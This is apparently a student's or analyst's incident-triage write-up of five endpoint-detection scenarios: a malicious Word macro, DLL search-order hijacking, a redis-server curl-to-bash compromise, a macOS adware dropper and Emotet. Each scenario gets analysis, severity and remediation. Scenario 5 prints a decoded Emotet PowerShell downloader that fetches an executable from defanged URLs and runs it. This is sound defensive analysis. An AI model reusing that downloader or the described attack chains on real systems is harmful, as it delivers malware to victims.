Scenario 1

Analysis of the scenario 1:

The first thing of note is that the parent process is Word, and it's common for adversaries to use Office and other standard files and products to deliver malicious code to a target using documents, PowerPoints, Excel files, etc.

The child process of winword.exe is Powershell.exe. That isn't typically the behavior of a Word document, so it's worth investigating to see what the PowerShell CLI is. PowerShell then invokes an expression and starts a web connection to download a file from a domain obfuscated by a bit.ly domain name shortener. I know bit.ly domain shorteners are used to obfuscate domain names that typically look non-standard, so that's another red flag. The computer connected once and likely successfully downloaded a payload.

Overall, this activity looks like a user received a malicious Word document, likely from an email. The user then opened the document which executed a PowerShell command to download a file from an obfuscated domain to further the intrusion and the next step of the kill chain. The next steps I would expect to see for this intrusion are IOCs indicating the malware is gaining persistence on the workstation.

What is going on?

Someone likely received a malicious Word document from an email. The person opened the document, and it used PowerShell to download a file from a malicious domain likely to further the intrusion and continue onto the next phase of the attack. I expect the attacker to establish a foothold on the system next. This could be part of a more significant attack by an adversary but is still in the early stages of the overall engagement.

How severe is it?

My rating would be a four or five out of ten. With the information provided, I'm unable to determine if persistence has been established on the computer. Still, multiple people have likely received the malicious document, so it's essential to check who received it. An increased effort should be made to determine if other exploits are occurring on the network elsewhere. It requires immediate attention.

How to remediate?

The first step would be to quarantine the Word document to prevent the user from opening it again and then scope out where else the document exists on the network. Then the security team should check email traffic to see who else received the document and quarantine those emails. Simultaneously, an analyst should review the computer that executed the PowerShell argument and see if any new IOCs exist, showcasing if the adversary has gained persistence. If they have gained persistence, it would be necessary to eliminate those mechanisms to prevent adversary access to the computer or quarantine the computer away on a dead VLAN so further analysis can occur on the system. The ultimate goal for remediation is to prevent the further spread of the malicious document by scoping the intrusion, and determining the impact on the organization.

Scenario #2

Analysis of the scenario 2:

I was unfamiliar with tpminit.exe, so I looked it up and saw that it was for TPM initiation. Next, I looked up the MD5 hash of the "version.dll" file used by tpminit.exe on VirusTotal, and nothing returned.

The DLL (version.dll) is located in an appdata roaming folder with a strange name. I then saw that a scheduled task was created that runs "UI0Detect.exe" every 60 minutes. Scheduled tasks are a way that adversaries can establish persistence, so the next question is how they were able to establish persistence. After looking to see how tpminit.exe and the version.dll interacted, it made sense because there are a couple of proof of concepts showcasing how to use a weakness in how tpminit.exe searches for DLLs to gain higher-level permissions and execution of malicious actions. This scenario showcases using the DLL search order weakness to schedule a task to gain persistence. Creating a task using schtasks.exe requires admin rights.

UI0Detect.exe exists in the same folder that version.dll is in, so it's likely that version.dll is a malicious DLL that made its way onto the system. The attacker was able to create the scheduled task by using a DLL with malicious code that was used by tpminit.exe.

What is going on?

Tpminit.exe, the TPM Initialization Wizard executed and loaded a malicious DLL (c:\users\acme123\appdata\roaming\microsoft\3ztbfrz\version.dll) while searching for the legitimate DLL. When the malicious DLL was loaded it gained higher level privileges from tpminit.exe which allowed it to create a scheduled task called "Jzijbnrsxnvm" that executes "UI0Detect.exe" every 60 minutes.

This is an example of establishing persistence via hijack execution flow specifically via DLL Search Order Hijacking. Mitre (T1574.001)

How severe is it?

This is pretty severe because it showcases a higher level of sophistication in understanding how to utilize DLL load order vulnerabilities. It's a more significant issue because a malicious DLL file is located in the roaming folder that was called before the legitimate file was.

Per the Unified Kill Chain, this event is an indicator that the adversary is at phase 6 of their attack and has established persistence, so the attacker has likely performed a level of reconnaissance to effectively deliver malware (version.dll) and exploit (tpminit.exe DLL search order vulnerability) to establish persistence.

How to remediate?

Remediation would occur by quarantining/deleting all version.dll files matching the hash a4b0ad1bb7cfbd3cbc40860197613340, quarantining/deleting "UI0Detect.exe" and removing the newly scheduled task that was created. After remediation of the individual client, it's time to scope out to see where else the malicious DLL and executable might be located and trace its origin to determine where it came from and how it was delivered.

Scenario #3

Analysis of the scenario 3:

The MD5 of redis-server doesn't have any flags on VirusTotal so it's a leditimate process but it spawned a bash command that retrieved a bash Shell Script from GitHub so there's likely a misconfiguration or vulnerability with the redis-server. The curl retrieval and execution of the Shell Script within Bash was likely successful.

What is going on?

An attacker exploited a redis-server vulnerability and used the application to execute a bash command that downloaded a malicious script from GitHub, decode the script from base64 and then piped the script to bash for execution.

How severe is it?

This is a situation that requires immediate action as it looks like the adversary can exploit redis-server which is likely critical to business systems. A prompt response to resolve the vulnerability with redis is critical.

How to remediate?

To remediate this issue the first step would be to determine what the shell script is doing as it's likely downloading additional malware and then establishing some sort of persistence and so eliminating that is priority. The next step is to discover what vulnerability in redis-server was used that enabled the attacker to execute a remote CLI command and eliminate it. These actions should occur while the incident is scoped out so cybersecurity personnel can determine if there are other vulnerable redis-servers and ensure they are remediated or patched before an attacker can further their attack.

Scenario #4

Analysis of the scenario 4:

Grand-parent MD5 hash (ab47aa51b678216bc998fe7e5fe7aefd) is flagged as malicious on VirusTotal. It is identified as adware.

"b6yNLWzjO" is likely malicious and it interacts with "LightEvening" and spawns a shell command execute curl to retrieve a file from a domain and outputs it into the /tmp directory.

What is going on?

It looks like a trojan was downloaded (/private/tmp/b6yNLWzjO) and installed by a user that is disguising itself as "LightEvening" and then proceeds to use the Shell to run a curl to download a payload from a malicious domain and install it in the /tmp directory.

How severe is it?

Like the other scenarios, it depends on multiple factors. It is still in the early stages of an intrusion as the initial exploit connects to a domain, downloads another file, and likely intends to establish persistence using the payload from the web and modifying files. Still, it is crucial to take action to remove the malicious software as soon as possible before the intrusion gets more complex to remove.

How to remediate it?

Remediation should occur by blocking the malicious domain via DNS sinkhole and deleting all the malicious files located in the /tmp, /Volumes/Installer/Installer.app/Contents/MacOS/LightEvening, and the /tmp/EB1E53E9-6B2A-4D01-99FF-DB4CB484EA63/45D77C73-D4A2-4698-A0A1-34926AEDF82D directories. To prevent future incidents, an investigation should be conducted to determine where the initial malware came from.

Scenario #5

Analysis of the scenario 5:

Decoded PowerShell

```
$ocavp83=[char]42;

$u69bj40=bnzbv8l;

&new-item $env:userprofile\b20dyak\ovpqho4\ -itemtype directory;

[net.servicepointmanager]::  securityprotocol   = tls12,' tls11, tls; $cu6yh1z = v9ofyxp; $hqdwlji=gb4u01s;

$hwzq8x1=$env:userprofile'{0'}b20dyak{0}ovpqho4{0}  -f  [char]92$cu6yh1z.exe;$utbkli6=gawjayl;$aclzb76=&new-object net.webclient;

$qt9bweq=hxxp://<redacted>.com/wp-admin/sbp/*

hxxp://<redacted>.com/wp-includes/y/*

hxxp://<redacted>.com/wp-content/wer/*

hxxp://<redacted>.com/wp-admin/'3d/*

hxxp://<redacted>.com/wp-content/3e/*

hxxp://<another.redacted.domain>.com/sys-cache/xnt/*

hxxp://<thefinal.redaction>.com/data/ultimatemember/l/.  split

$ocavp83;

$l535zme=ds3ue3p;

foreach $e13jews in $qt9bweq {try {$aclzb76.  downloadfile  $e13jews, $hwzq8x1;$lemfvf4=pqmkx0g;if .get-item $hwzq8x1.  length   -ge
32074 {&invoke-item $hwzq8x1;$pee0zvq=gf4qkts;break;$m57lgwk=sija5fg}}catch{}}$e6sxkf2=x3la_wl
```

Similarly to previous scenarios, it looks like this was a Word document laced with malware, but it was opened from within Outlook itself, as indicated by the Winword.exe connector with Content.Outlook and the “Untitled-20201014-H470846.doc”. Once the malicious code within the Word document executed, it utilized wmiprvse.exe to spawn a PowerShell session that ran an encoded script that was highly obfuscated and contained anti-analysis properties as I loaded this into a sandbox and tried to utilize a PowerShell decoder. Still, the decoder returned an error stating failure likely due to build-in anti-analysis efforts on behalf of the attacker.

I manually took the encoded PowerShell script and decoded it using CyberChef, ending up with the above PowerShell script. According to VirusTotal, the MD5 hash (7ee4feeded88cb104448141ef375be8c) of the file v9ofyxp.exe points to being Emotet. Comparing the encoded PowerShell script to other known Emotet scripts showcases that it is largely the same or similar malware.

What is going on?

A user opened a malicious Word document that was sent to them via email. The Word document contained an embedded PowerShell script that was heavily obfuscated. The script then made several connections to an external web address, likely command and control, and to download an additional payload. The PowerShell process also installed/created “v9ofyxp.exe” which is likely an Emotet trojan.

How severe is it?

The severity of the intrusion depends on several factors. The sophistication of the malware and the group known for using the malware "Wizard Spider" means that this isn't a low-skilled hacker and is likely part of a more extensive overall operation. So it would be essential to respond to this as soon as possible. With the IOCs from a single workstation, it's hard to grasp where else the malware might be, but this may be in the earlier stages of an attack. It's still necessary to respond as soon as possible to mitigate any further process in the adversaries' progress.

How to remediate?

Remediation should begin with DNS sinkholing the domains, removing the documents laced with malware from users who received them via email, and removing any executables written to workstation storage. The intrusion should be scoped out to determine if other workstations have executed malicious PowerShell scripts.